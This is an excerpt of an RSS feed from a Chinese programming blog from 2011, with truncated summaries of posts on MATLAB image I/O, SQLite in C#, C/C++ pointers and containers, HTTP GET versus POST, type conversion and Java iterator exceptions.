      <pubDate>Sat, 29 Oct 2011 21:18:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1769159c24347fc832f8829ab15b2be9/</guid>
      <description>Matlab中如何读出写入图像文件以及对图像的简单处理 MATLAB图像处理工具箱支持四种基本图像类型:索引图像、灰度图像、二进制图像和RGB图像。MATLAB直接从图像文件中读取的图像为RGB图像。它存储在三维数组中。这个三维数组有三个面,依次对应于红(Red)、绿(Green)、蓝(Blue)三种颜色,而面中的数据则分别是这三种颜色的强度值,面中的元素对应于图像中的像素点。设所得矩阵为X三维矩阵(256,256,3) ,X(:,:,1)代表红颜色的2维矩阵 X(:,:,2)代表绿颜色的2维矩阵, X(:,:,3)代表兰颜色的2维矩阵。[X, map]=imread(&#39;34.bmp&#39;);r=double(X(:,:,1)); %r是256 x 256的红色信息矩阵g=double(X(:,:,2)); %g是256 x 256的绿色信息矩阵b=double(X(:,:,3)); %b是256 x 256的兰色信息矩阵&#xA;索引图像数据包括图像矩阵X与颜色图数组map,其中颜色图map是按图像中颜色值进行排序后的数组。对于每个像素,图像矩阵X包含一个值,这个值就是颜色图数组map中的索引。颜色图map为m×3双精度矩阵,各行分别指定红、绿、蓝(R、G、B)单色值,map=[RGB],R、G、B为值域为[0,1]的实数值,m为索引图像包含的像素个数。&#xA;对于相同的数据,采用uint8格式比双精度格式节省内存空间,从而更经济。在MATLAB中&#xA;如果索引图像的颜色图小于256行,则它的图像矩阵以uint8格式存储,否则以双精度格式存储。&#xA;一：imread:从图像文件夹中读取图像。&#xA;A = imread(FILENAME,FMT) 读取图像到A，如果文件是包含一灰度图像，A是一二维矩阵，如果文件是包含一真彩色图像（RGB），A是一三维矩阵（M-by-N-by-3）。FILENAME ：图像文件名；FMT：图像文件格式；&#xA;文件必须在当前目录下，或在Matlab的一路径上。如果 imread不能够找到一名称为FILENAME的文件,那么它将找一名为FILENAME.FMT的文件&#xA;[X,MAP] = imread(FILENAME,FMT) 把图像FILENAME读入与它相关的图像色彩信息写入MAP，图像色彩信息值在范围[0,1]中自动地重新调整.&#xA;[...] = imread(FILENAME)这种方式是试图得到文件的格式从文件所包含的信息。 [...] = imread(URL,...)从一Internet URL上读图像 URL 必须包含协议(即： &#34;http://&#34;).&#xA;1．2数据类型：&#xA;TIFF的特殊语法：&#xA;[...] = imread(...,IDX) 从很多图像TIFF文件中读一个图像；IDX是一个整数值，它显示了所读图像在文件中的顺序，例如：如果 IDX是 3, imread将读文件中的第三个图像。如果省略了这个变量, imread将读文件中的第一个图像.&#xA;IMREAD支持的图像文件格式：JPEG TIFF GIF BMP PNG HDF PCX XWD ICO CUR RAS PBM PGM PPM&#xA;相关信息也可在Matlab中查看： imfinfo, imwrite, imformats, fread,</description>
    </item>
    <item>
      <title>C#——SQLite速成</title>
      <link>https://bchobby.github.io/posts/65e1c238607b4a64af6c4c39fe6fef3b/</link>
      <pubDate>Thu, 20 Oct 2011 15:49:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65e1c238607b4a64af6c4c39fe6fef3b/</guid>
      <description>为什么我需要 SQLite * 轻巧灵活，基于单个数据库文件，方便创建、移动，能方便的进行数据的分类存储(按业务、按功能、按日期、按客户等)，非常适合与灵活的系统搭配使用。&#xA;* 部署容易，.NET环境只需一个dll文件(Access可能需要安装MDAC)。&#xA;* 开源。&#xA;SQLite开发环境与开发资料的准备&#xA;.Net SQLite数据库驱动：System.Data.SQLite.dll以及文档&#xA;SQLite GUI数据库工具：SQLite Expert PersonalEdition（个人版免费，够用了）&#xA;.Net SQLite数据库驱动源码：sqlite-netFx-source-1.0.76.0&#xA;C#动态创建SQLite数据库&#xA;调用SQLiteConnection. CreateFile静态方法创建&#xA;SQLiteConnection.CreateFile(path)&#xA;path测试路径：Data目录存在，Data2目录不存在&#xA;var path1 = &#34;dummy1.db&#34;;//成功&#xA;var path2 = &#34;Data/dummy2.db&#34;;//成功&#xA;var path3 = &#34;Data\\dummy3.db&#34;;//成功&#xA;var path4 = &#34;c:\\Data\\dummy4.db&#34;;//成功&#xA;var path5 = &#34;Data2//dummy5.db&#34;;//错误，Data2目录不存在&#xA;var path6 = &#34;C:\\Data2\\dummy6.db&#34;;//错误，Data2目录不存在&#xA;SQLiteConnection. CreateFile内部的实现源码：使用了File.Create创建0字节文件&#xA;/// &amp;lt;summary&amp;gt;&#xA;/// Creates a database file. This just creates a zero-byte file whichSQLite&#xA;/// will turn into a database when the file is openedproperly.</description>
    </item>
    <item>
      <title>注意 c&#43;&#43; vector中的erase()</title>
      <link>https://bchobby.github.io/posts/541129fb33629c6cc6b2772eeb08d7a2/</link>
      <pubDate>Mon, 03 Oct 2011 09:58:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/541129fb33629c6cc6b2772eeb08d7a2/</guid>
      <description>#include &amp;lt;iostream&amp;gt; #include &amp;lt;vector&amp;gt; using namespace std; int main() { vector&amp;lt;int&amp;gt; arr; arr.push_back(6); arr.push_back(7); arr.push_back(8); arr.push_back(9); for(vector&amp;lt;int&amp;gt;::iterator it=arr.begin(); it!=arr.end(); ) { if(* it == 8) { it = arr.erase(it); } else { ++it; } } //注意上面不能写成 /* for(vector&amp;lt;int&amp;gt;::iterator it=arr.begin(); it!=arr.end(); it ++) { if(* it == 8) { arr.erase(it); //在erase后，it失效，并不是指向vector的下一个元素，it成了一个“野指针”。 } } */ cout &amp;lt;&amp;lt; &#34;After remove 8:\n&#34;; for(vector&amp;lt;int&amp;gt;::iterator it = arr.begin(); it &amp;lt; arr.end(); ++it) { cout &amp;lt;&amp;lt; * it &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>最简单的“从65码高度落下但不摔死”的方法</title>
      <link>https://bchobby.github.io/posts/dc3901757193df5bc8e861818f69f919/</link>
      <pubDate>Sat, 01 Oct 2011 11:57:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc3901757193df5bc8e861818f69f919/</guid>
      <description>最简单，几分钟搞定。&#xA;首先得装个插件，能够显示与目标距离的那种。还得有飞行坐骑。&#xA;找一个不移动的NPC，选中，此时应该能够显示与其距离（但显示的是大概值，好像暴雪并没有提供准确的计算距离的接口）。上坐骑，飞到这个NPC正上方，并提升高度，当显示的距离正好进入“60～80”区间时，再快速按两下空格，使高度再提高一点，以保证在65码多一点。此时点掉坐骑就行了，大约落地后剩下3％的血。</description>
    </item>
    <item>
      <title>建立有序双向循环链表</title>
      <link>https://bchobby.github.io/posts/c214d1538301aa357da830b4fa2af7ea/</link>
      <pubDate>Fri, 23 Sep 2011 14:54:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c214d1538301aa357da830b4fa2af7ea/</guid>
      <description>#include &#34;stdafx.h&#34;&#xD;#include &amp;lt;iostream&amp;gt;&#xD;//建立有序双向循环链表&#xD;using namespace std;&#xD;typedef struct Dbnode{&#xD;int data; //节点数据&#xD;Dbnode *left; //前驱结点指针&#xD;Dbnode *right; //后继节点指针&#xD;}Dbnode;&#xD;void Print(Dbnode *head);&#xD;//根据数据创建节点&#xD;Dbnode *CreateNode(int data){&#xD;Dbnode *pnode=new Dbnode;//&#xD;if (pnode==NULL){ //如果内存申请失败，返回NULL&#xD;return NULL;&#xD;}&#xD;pnode-&amp;gt;data=data;&#xD;pnode-&amp;gt;left=pnode;//新节点的前驱和后继指针都指向自身&#xD;pnode-&amp;gt;right=pnode;&#xD;return pnode;&#xD;}&#xD;//建立有向循环链表，返回表头节点&#xD;void InsertNode(Dbnode **head,int data){&#xD;if (head==NULL){&#xD;return;&#xD;}&#xD;Dbnode *phead=*head;&#xD;Dbnode *pnode=CreateNode(data);//创建一个新节点&#xD;Dbnode *node=NULL;&#xD;if (phead==NULL){ //如果链表为空&#xD;phead=pnode;&#xD;}&#xD;else if (phead-&amp;gt;data&amp;gt;data){ //如果比头节点值小，插入头节点前&#xD;phead-&amp;gt;left-&amp;gt;right=pnode;&#xD;pnode-&amp;gt;left=phead-&amp;gt;left;&#xD;pnode-&amp;gt;right=phead;&#xD;phead-&amp;gt;left=pnode;&#xD;phead=pnode;&#xD;}else{ //如果值大于等于头节点，插入头节点后面&#xD;node=phead;&#xD;phead=phead-&amp;gt;right;&#xD;while (*head!</description>
    </item>
    <item>
      <title>atan函数与atan2函数的一点区别</title>
      <link>https://bchobby.github.io/posts/c96e3801d4f3c0cb4363fbae87bc45a2/</link>
      <pubDate>Fri, 23 Sep 2011 09:16:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c96e3801d4f3c0cb4363fbae87bc45a2/</guid>
      <description>atan 和 atan2 都是求反正切函数，如：有两个点 point(x1,y1), 和 point(x2,y2);&#xA;那么这两个点形成的斜率的角度计算方法分别是：&#xA;float angle = atan( (y2-y1)/(x2-x1) );&#xA;或&#xA;float angle = atan2( y2-y1, x2-x1 );&#xA;atan 和 atan2 区别： 1：参数的填写方式不同；&#xA;2：atan2 的优点在于 如果 x2-x1等于0 依然可以计算，但是atan函数就会导致程序出错；&#xA;结论： atan 和 atan2函数，建议用 atan2函数；</description>
    </item>
    <item>
      <title>浅谈HTTP中Get与Post的区别</title>
      <link>https://bchobby.github.io/posts/c2065b42b170ac7b87d8b65b1ddb9c6b/</link>
      <pubDate>Thu, 22 Sep 2011 00:27:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2065b42b170ac7b87d8b65b1ddb9c6b/</guid>
      <description>http://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html&#xA;浅谈HTTP中Get与Post的区别 Http定义了与服务器交互的不同方法，最基本的方法有4种，分别是GET，POST，PUT，DELETE。URL全称是资源描述符，我们可以这样认为：一个URL地址，它用于描述一个网络上的资源，而HTTP中的GET，POST，PUT，DELETE就对应着对这个资源的查，改，增，删4个操作。到这里，大家应该有个大概的了解了，GET一般用于获取/查询资源信息，而POST一般用于更新资源信息。&#xA;1.根据HTTP规范，GET用于信息获取，而且应该是安全的和幂等的。&#xA;(1).所谓安全的意味着该操作用于获取信息而非修改信息。换句话说，GET 请求一般不应产生副作用。就是说，它仅仅是获取资源信息，就像数据库查询一样，不会修改，增加数据，不会影响资源的状态。&#xA;* 注意：这里安全的含义仅仅是指是非修改信息。&#xA;(2).幂等的意味着对同一URL的多个请求应该返回同样的结果。这里我再解释一下幂等这个概念：&#xA;幂等（idempotent、idempotence）是一个数学或计算机学概念，常见于抽象代数中。&#xA;幂等有一下几种定义：&#xA;对于单目运算，如果一个运算对于在范围内的所有的一个数多次进行该运算所得的结果和进行一次该运算所得的结果是一样的，那么我们就称该运算是幂等的。比如绝对值运算就是一个例子，在实数集中，有abs(a) = abs(abs(a))。&#xA;对于双目运算，则要求当参与运算的两个值是等值的情况下，如果满足运算结果与参与运算的两个值相等，则称该运算幂等，如求两个数的最大值的函数，有在在实数集中幂等，即max(x,x) = x。 看完上述解释后，应该可以理解GET幂等的含义了。&#xA;但在实际应用中，以上2条规定并没有这么严格。引用别人文章的例子：比如，新闻站点的头版不断更新。虽然第二次请求会返回不同的一批新闻，该操作仍然被认为是安全的和幂等的，因为它总是返回当前的新闻。从根本上说，如果目标是当用户打开一个链接时，他可以确信从自身的角度来看没有改变资源即可。&#xA;2.根据HTTP规范，POST表示可能修改变服务器上的资源的请求。继续引用上面的例子：还是新闻以网站为例，读者对新闻发表自己的评论应该通过POST实现，因为在评论提交后站点的资源已经不同了，或者说资源被修改了。&#xA;上面大概说了一下HTTP规范中GET和POST的一些原理性的问题。但在实际的做的时候，很多人却没有按照HTTP规范去做，导致这个问题的原因有很多，比如说：&#xA;1.很多人贪方便，更新资源时用了GET，因为用POST必须要到FORM（表单），这样会麻烦一点。&#xA;2.对资源的增，删，改，查操作，其实都可以通过GET/POST完成，不需要用到PUT和DELETE。&#xA;3.另外一个是，早期的Web MVC框架设计者们并没有有意识地将URL当作抽象的资源来看待和设计，所以导致一个比较严重的问题是传统的Web MVC框架基本上都只支持GET和POST两种HTTP方法，而不支持PUT和DELETE方法。&#xA;* 简单解释一下MVC：MVC本来是存在于Desktop程序中的，M是指数据模型，V是指用户界面，C则是控制器。使用MVC的目的是将M和V的实现代码分离，从而使同一个程序可以使用不同的表现形式。&#xA;以上3点典型地描述了老一套的风格（没有严格遵守HTTP规范），随着架构的发展，现在出现REST(Representational State Transfer)，一套支持HTTP规范的新风格，这里不多说了，可以参考《RESTful Web Services》。&#xA;说完原理性的问题，我们再从表面现像上面看看GET和POST的区别：&#xA;1.GET请求的数据会附在URL之后（就是把数据放置在HTTP协议头中），以?分割URL和传输数据，参数之间以&amp;amp;相连，如：login.action?name=hyddd&amp;amp;password=idontknow&amp;amp;verify=%E4%BD%A0%E5%A5%BD。如果数据是英文字母/数字，原样发送，如果是空格，转换为+，如果是中文/其他字符，则直接把字符串用BASE64加密，得出如：%E4%BD%A0%E5%A5%BD，其中％XX中的XX为该符号以16进制表示的ASCII。&#xA;POST把提交的数据则放置在是HTTP包的包体中。&#xA;2.&#34;GET方式提交的数据最多只能是1024字节，理论上POST没有限制，可传较大量的数据，IIS4中最大为80KB，IIS5中为100KB&#34;？？！&#xA;以上这句是我从其他文章转过来的，其实这样说是错误的，不准确的：&#xA;(1).首先是&#34;GET方式提交的数据最多只能是1024字节&#34;，因为GET是通过URL提交数据，那么GET可提交的数据量就跟URL的长度有直接关系了。而实际上，URL不存在参数上限的问题，HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。IE对URL长度的限制是2083字节(2K+35)。对于其他浏览器，如Netscape、FireFox等，理论上没有长度限制，其限制取决于操作系统的支持。&#xA;注意这是限制是整个URL长度，而不仅仅是你的参数值数据长度。[见参考资料5]&#xA;(2).理论上讲，POST是没有大小限制的，HTTP协议规范也没有进行大小限制，说“POST数据量存在80K/100K的大小限制”是不准确的，POST数据是没有限制的，起限制作用的是服务器的处理程序的处理能力。&#xA;对于ASP程序，Request对象处理每个表单域时存在100K的数据长度限制。但如果使用Request.BinaryRead则没有这个限制。&#xA;由这个延伸出去，对于IIS 6.0，微软出于安全考虑，加大了限制。我们还需要注意：&#xA;1).IIS 6.0默认ASP POST数据量最大为200KB，每个表单域限制是100KB。&#xA;2).IIS 6.0默认上传文件的最大大小是4MB。&#xA;3).IIS 6.0默认最大请求头是16KB。&#xA;IIS 6.0之前没有这些限制。[见参考资料5]&#xA;所以上面的80K，100K可能只是默认值而已(注：关于IIS4和IIS5的参数，我还没有确认)，但肯定是可以自己设置的。由于每个版本的IIS对这些参数的默认值都不一样，具体请参考相关的IIS配置文档。&#xA;3.在ASP中，服务端获取GET请求参数用Request.QueryString，获取POST请求参数用Request.Form。在JSP中，用request.getParameter(\&#34;XXXX\&#34;)来获取，虽然jsp中也有request.getQueryString()方法，但使用起来比较麻烦，比如：传一个test.jsp?name=hyddd&amp;amp;password=hyddd，用request.getQueryString()得到的是：name=hyddd&amp;amp;password=hyddd。在PHP中，可以用$_GET和$_POST分别获取GET和POST中的数据，而$_REQUEST则可以获取GET和POST两种请求中的数据。值得注意的是，JSP中使用request和PHP中使用$_REQUEST都会有隐患，这个下次再写个文章总结。&#xA;4.POST的安全性要比GET的安全性高。注意：这里所说的安全性和上面GET提到的“安全”不是同个概念。上面“安全”的含义仅仅是不作数据修改，而这里安全的含义是真正的Security的含义，比如：通过GET提交数据，用户名和密码将明文出现在URL上，因为(1)登录页面有可能被浏览器缓存，(2)其他人查看浏览器的历史纪录，那么别人就可以拿到你的账号和密码了，除此之外，使用GET提交数据还可能会造成Cross-site request forgery攻击。&#xA;总结一下，Get是向服务器发索取数据的一种请求，而Post是向服务器提交数据的一种请求，在FORM（表单）中，Method默认为&#34;GET&#34;，实质上，GET和POST只是发送机制不同，并不是一个取一个发！&#xA;纯属hyddd个人总结，如有错漏请指出。:&amp;gt;&#xA;参考资料：&#xA;[1].http://hi.baidu.com/liuzd003/blog/item/7bfecbfa6ea94ed8b58f318c.html&#xA;[2].http://www.blogjava.net/onlykeke/archive/2006/08/23/65285.aspx&#xA;[3].http://baike.baidu.com/view/2067025.htm&#xA;[4].http://www.chxwei.com/article.asp?id=373&#xA;[5].http://blog.csdn.net/somat/archive/2004/10/29/158707.aspx&#xA;转载请说明出处，谢谢[hyddd(http://www.cnblogs.com/hyddd/)]</description>
    </item>
    <item>
      <title>指针数组和数组指针的使用</title>
      <link>https://bchobby.github.io/posts/cabb4a00218889caeb376f140552e779/</link>
      <pubDate>Sat, 10 Sep 2011 14:59:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cabb4a00218889caeb376f140552e779/</guid>
      <description>指针数组：指针的数组，表示一个数组，并且数组的每一个元素都是指针类型。&#xA;数组指针：数组的指针，表示一个指针，并且是指向数组的指针。&#xA;不运行程序，问下面代码的输出是什么？&#xA;1#include&amp;lt;iostream&amp;gt;&#xA;2 using namespace std;&#xA;3 int main()&#xA;4 {&#xA;5 char *str[]={&#34;welcome&#34;,&#34;to&#34;,&#34;Fortemedia&#34;,&#34;Nanjing&#34;};&#xA;6 char**p=str+1;&#xA;7 str[0]=(*p++)+2;&#xA;8 str[1]=*(p+1);&#xA;9 str[2]=p[1]+3;&#xA;10 str[3]=p[0]+(str[2]-str[1]);&#xA;11 cout&amp;lt;&amp;lt;str[0]&amp;lt;&amp;lt;endl;&#xA;12 cout&amp;lt;&amp;lt;str[1]&amp;lt;&amp;lt;endl;&#xA;13 cout&amp;lt;&amp;lt;str[2]&amp;lt;&amp;lt;endl;&#xA;14 cout&amp;lt;&amp;lt;str[3]&amp;lt;&amp;lt;endl;&#xA;15 system(&#34;pause&#34;);&#xA;16}&#xA;指针是c/c++语言中一个重要的语言特性，但对于c/c++的初学者来说，却不是那么好理解。总起来说指针一个特殊的变量，这个变量能合法的使用*操作符对指针的变量内容进行提领（dereference）和成员访问。对于指针变量在它四个字节（32位平台）的内存里存储的数据是一个内存的地址值，也就是我们平时说的指向一个地址，而指针变量的类型则决定着对指针变量的所指向的地址里的数据的访问方式和从指向的地址开始往下所涵盖的范围。举例来说：&#xA;#include&amp;lt;iostream&amp;gt;&#xA;using namespace std;&#xA;int main()&#xA;{&#xA;int i[2]={1073741824,-1073741824};&#xA;int *p1=&amp;amp;i[0];&#xA;char *p2=(char*)&amp;amp;i[0];&#xA;float *p3=(float*)&amp;amp;i[0];&#xA;printf(&#34;%d-&amp;gt;%d/n&#34;,p1,*p1);&#xA;printf(&#34;%d-&amp;gt;%d/n&#34;,p2,*p2);&#xA;printf(&#34;%d-&amp;gt;%f/n&#34;,p3,*p3);&#xA;p1++;&#xA;p2++;&#xA;p3++;&#xA;printf(&#34;%d-&amp;gt;%d/n&#34;,p1,*p1);&#xA;printf(&#34;%d-&amp;gt;%d/n&#34;,p2,*p2);&#xA;printf(&#34;%d-&amp;gt;%f/n&#34;,p3,*p3);&#xA;system(&#34;pause&#34;);&#xA;}&#xA;上述代码中指针变量p1,p2,p3指向相同的地址值，都是i[0]所标识的内存的地址值，但由于指针的类型不同，导致用*运算符进行提领时，*p1,*p2,*p3的值不一样。当p1用*提领p1所指向的内存里的数据时，由于p1是int*型的，所以会从地址值为&amp;amp;i[0]开始，往下涵盖四个字节（sizeof（int））的内存，然后把里面的数据安照int变量的存储方式解析成一个int型数值。1073741824在内存&amp;amp;i[0]~&amp;amp;i[0]+3中存储是0x00，0x00，0x00，0x40，（小段机 补码存储），所以*p1的值是1073741824。而p2是char*型的，所以仅从地址值为&amp;amp;i[0]（sizeof（char））的内存把里面的数据按照char变量的存储方式解析成一个char型数值，由于地址值为&amp;amp;[i]的内存里是0x00，所以*p2为0.同样由于p3是float*型的，所以会从地址值为&amp;amp;i[0]开始，往下涵盖四个字节（sizeof（float））的内存，然后把里面的数据安照float变量的存储方式解析成一个float型数值。由于float型变量的存储方式不同于整型，c/c++浮点数存储遵循ieee标准，按照标准*p3的值为2.0（具体请参见本博客里一篇关于float内存布局的博文，不再赘述）。另外从上述代码我们可以看到，指针变量的类型还影响着指针变量算术运算时的跨度，即指针变量+1时，指针变量的值会增加sizeof（指针所指向变量的类型）。&#xA;弄明白上面所分析的是掌握指针的关键（个人是这么看的），基于刚才的分析来看开始的笔试题：&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; int main ( ) { char *str[]={&#34;</description>
    </item>
    <item>
      <title>mysql驱动配置：解决java.lang.ClassNotFoundException: com.mysql.jdbc.Driver</title>
      <link>https://bchobby.github.io/posts/b2d4ff1f9759c620af6983de3a2b48b0/</link>
      <pubDate>Sat, 10 Sep 2011 10:52:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2d4ff1f9759c620af6983de3a2b48b0/</guid>
      <description>今天运行一个连接mysql数据库的程序总是出错，以前都是在MyEclipse环境下，今天是在DOS环境下，总出现classnotfoundException.&#xA;出现这种错误肯定是驱动配置有问题，后来才知道忘了设置classpath，设置如下：&#xA;在“我的电脑”----&amp;gt;&#34;属性&#34;----&amp;gt;&#34;高级&#34;----&amp;gt;&#34;环境变量&#34;----&amp;gt;&#34;系统变量&#34;中进行设置classpath(C:Program Flles\mysql\mysql-connector-java-5.1.17\mysql-connector-java-5.1.17-bon.jar)。</description>
    </item>
    <item>
      <title>交换两个字符串</title>
      <link>https://bchobby.github.io/posts/9b00048f43b9fc6e3e412217e108158a/</link>
      <pubDate>Sat, 10 Sep 2011 09:20:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b00048f43b9fc6e3e412217e108158a/</guid>
      <description> // 引用.cpp : 定义控制台应用程序的入口点。&#xD;//&#xD;#include &#34;stdafx.h&#34;&#xD;#include &amp;lt;iostream&amp;gt;&#xD;using namespace std;&#xD;//交换两个字符串--指针引用&#xD;//由于swap函数是指针引用，因此传入函数的就是实参，而不是形参&#xD;void swap(char *x,char*y){&#xD;char *p;&#xD;p=x;&#xD;x=y;&#xD;y=p;&#xD;}&#xD;//交换两个字符串--二维指针&#xD;//可以达到同样的目的 void swap(char **x,char**y){&#xD;char *p;&#xD;p=*x;&#xD;*x=*y;&#xD;*y=p;&#xD;}&#xD;int _tmain(int argc, _TCHAR* argv[])&#xD;{&#xD;char *ap=&#34;hello&#34;;&#xD;char *bp=&#34;how are you ?&#34;;&#xD;cout&amp;lt;&amp;lt;ap&amp;lt;&amp;lt;endl;&#xD;cout&amp;lt;&amp;lt;bp&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;endl;&#xD;//swap(&amp;amp;ap,&amp;amp;bp);&#xD;swap(ap,bp);&#xD;cout&amp;lt;&amp;lt;ap&amp;lt;&amp;lt;endl;&#xD;cout&amp;lt;&amp;lt;bp&amp;lt;&amp;lt;endl;&#xD;getchar();&#xD;return 0;&#xD;}&#xD;</description>
    </item>
    <item>
      <title>c语言对内存地址的直接操作（读ARM有感）</title>
      <link>https://bchobby.github.io/posts/5f29ab7bcce42505e7ecef1c24ab51e2/</link>
      <pubDate>Sat, 03 Sep 2011 11:33:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f29ab7bcce42505e7ecef1c24ab51e2/</guid>
      <description> 在ARM中看到了 #define rWTCON (*(volatile unsigned *)0x03000000)然后在函数调用中对这地址直接赋值，rWTCON = (PCLK / (100000-1)&amp;lt;&amp;lt;8 | (3&amp;lt;&amp;lt;3));&#xA;刚看到这吓我一跳，以前只听说过没有看过，这里还真这样干了，这就是c语言中的直接对内存赋值，以上的语句还真有特色，这样用了宏还在下面移位操作，运用的这么规范化&#xA;，比如我们要将某数中间的第7,6,5位分别置011(假设这数先被初始化为0) 这个一般不是x |=0x01100000;而是这样x |= (3&amp;lt;&amp;lt;5);好处在于，十进制比十六进制更方便看，方便检查。&#xA;关键字 volatile：（易变的） 一个定义为volatile的变量是说这变量可能会被意想不到地改变，这样，编译器就不会去假设这个变量的值了。精确地说就是，优化器在用到这个变量时必须每次都小心地重新读取这个变量的值，而不是使用保存在寄存器里的备份。就好似每次操作都刷新，类似原子操作的功能&#xA;后面的地址是查ARM手册得到的，虽然注释为，....寄存器，但这与我们理解的CPU中的寄存器（不能取地址）不一样，这里就是内存地址（外设寄存器，寻址方式与内存寻址方式一样（速度当然也一样））&#xA;这里上一段代码&#xA;#include &amp;lt;stdio.h&amp;gt;&#xD;int main()&#xD;{&#xD;void (* signal (int sign, void(*handler)(int))) (int);//也可以写成这样 void (* signal (int , void(* )(int))) (int);&#xD;* (volatile unsigned *)0x0012ff7c = 0x12345; printf(&#34;%x\n&#34;,* (volatile unsigned *)0x0012ff7c);&#xD;return 0;&#xD;}vc编译通过，值得注意得是上面指针的声明，这玩意恐怕你都没有见过吧，这就是高级指针声明，指针乃C语言精华，灵活多变；做完这几天的笔记继续学习ARM去.... </description>
    </item>
    <item>
      <title>查看RPM包里的内容</title>
      <link>https://bchobby.github.io/posts/e3f16fb018eaccd9a6b1e65204c27f7d/</link>
      <pubDate>Wed, 31 Aug 2011 11:15:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3f16fb018eaccd9a6b1e65204c27f7d/</guid>
      <description> 有时候，拿到一个RPM，并不想安装它，而想了解包里的内容，怎么办呢？&#xA;如果只相知道包里的文件列表执行：&#xA;#rpm -qpl packetname&#xA;如果想要导出包里的内容，而不是安装，那么执行：&#xA;# rpm2cpio pkgname | cpio -ivd　</description>
    </item>
    <item>
      <title>C语言中的整数自动转换原则</title>
      <link>https://bchobby.github.io/posts/fc2a42743a677065486e556be59fe2c9/</link>
      <pubDate>Mon, 29 Aug 2011 10:54:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc2a42743a677065486e556be59fe2c9/</guid>
      <description>1、隐式转换&#xA;C在以下四种情况下会进行隐式转换:&#xA;1、算术运算式中，低类型能够转换为高类型。&#xA;2、赋值表达式中，右边表达式的值自动隐式转换为左边变量的类型，并赋值给他。&#xA;3、函数调用中参数传递时，系统隐式地将实参转换为形参的类型后，赋给形参。&#xA;4、函数有返回值时，系统将隐式地将返回表达式类型转换为返回值类型，赋值给调用函数。&#xA;2、算数运算的隐式转换&#xA;算数运算中，首先有如下类型转换规则：&#xA;1、字符必须先转换为整数(C语言规定字符类型数据和整型数据之间可以通用) 。&#xA;2、short型转换为int型(同属于整型) 。&#xA;3、float型数据在运算时一律转换为双精度(double)型，以提高运算精度(同属于实型) 。&#xA;其次，有下面的规则。&#xA;当不同类型的数据进行操作时，应当首先将其转换成相同的数据类型，然后进行操作，转换规则是由低级向高级转换。转换规则如下图所示:&#xA;有符号数与无符号数之间运算问题&#xA;以下实验均在virual c++6中运行通过&#xA;这个问题测试是否懂得C语言中的整数自动转换原则，有些开发者懂得极少这些东西。当表达式中存在有符号类型和无符号类型时所有的操作数都自动转换为无符号类型。因此，从这个意义上讲，无符号数的运算优先级要高于有符号数，这一点对于应当频繁用到无符号数据类型的嵌入式系统来说是丰常重要的。 首先进行一个实验，分别定义一个signed int型数据和unsigned int型数据，然后进行大小比较：&#xA;unsigned int a=20;&#xA;signed int b=-130;&#xA;a&amp;gt;b?还是b&amp;gt;a？实验证明b&amp;gt;a，也就是说－130&amp;gt;20,为什么会出现这样的结果呢？&#xA;这是因为在C语言操作中，如果遇到无符号数与有符号数之间的操作，编译器会自动转化为无符号数来进行处理，因此a＝20，b＝4294967166，这样比较下去当然b&amp;gt;a了。&#xA;再举一个例子：&#xA;unsigned int a=20;&#xA;signed int b=-130;&#xA;std::cout&amp;lt;&amp;lt;a+b&amp;lt;&amp;lt;std::endl;&#xA;结果输出为4294967186，同样的道理，在运算之前，a＝20，b被转化为4294967166，所以a＋b＝4294967186&#xA;减法和乘法的运算结果类似。&#xA;如果作为signed int型数据的b=-130，b与立即数之间操作时不影响b的类型，运算结果仍然为signed int型：&#xA;signed int b=-130;&#xA;std::cout&amp;lt;&amp;lt;b+30&amp;lt;&amp;lt;std::endl;&#xA;输出为-100。&#xA;而对于浮点数来说，浮点数（float，double）实际上都是有符号数，unsigned 和signed前缀不能加在float和double之上，当然就不存在有符号数根无符号数之间转化的问题了。&#xA;#include &amp;lt;iostream&amp;gt; /* 当表达式中存在符号类型和无符号类型时 所有的操作数都自动转换为无符号类型 */ using namespace std; char getChar(int x,int y){ char c; unsigned int a=x; unsigned int b=a+y; (a+y&amp;gt;10)?</description>
    </item>
    <item>
      <title>集合迭代时对集合进行修改抛ConcurrentModificationException原因的深究以及解决方案</title>
      <link>https://bchobby.github.io/posts/58b431fbb2c61700d1e9ab1c86d7147e/</link>
      <pubDate>Wed, 24 Aug 2011 09:44:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58b431fbb2c61700d1e9ab1c86d7147e/</guid>
      <description>绝对原创, 转载请标明文章出处:http://blog.csdn.net/izard999/article/details/6708738&#xA;大家应该都知道, 在java中, 在对一些集合迭代的过程中对集合进行一些修改的操作, 比如说add,remove之类的操作, 搞不好就会抛ConcurrentModificationException, 这一点在API文档上也有说的! 在迭代时只可以用迭代器进行删除! 但是文档上只是说了删除, 其他操作也会引起ConcurrentModificationException, 这是为何呢.? 下面就跟着我一起探索源代码吧! 就以ArrayList为例!&#xA;当我在迭代ArrayList时, 首先获取ArrayList的迭代器ArrayList.iterator(), 接下来就是hasNext与next的使用,例如:&#xA;List list = new ArrayList();&#xD;list.add(&#34;a&#34;);&#xD;list.add(&#34;b&#34;);&#xD;for(Iterator it = list.iterator(); it.hasNext;) {&#xD;Object o = it.next();&#xD;} 但是如果你在迭代的过程中不是用迭代器对集合进行修改, 而是用直接操作集合, 例如在迭代中: list.add(c); 此时你就非常有可能会惨兮兮了, 为什么只是有可能而非绝对呢? 下面接着分析&#xA;跟进ArrayList的源码看, 搜索iterator()方法看其获得的迭代器, 发现没有! 于是追其父类 AbstractList, iterator()方法返回new Itr()!&#xA;查看Itr中的两个重要的方法: hasNext与next&#xA;public boolean hasNext() {&#xD;return cursor != size();&#xD;}&#xD;public E next() 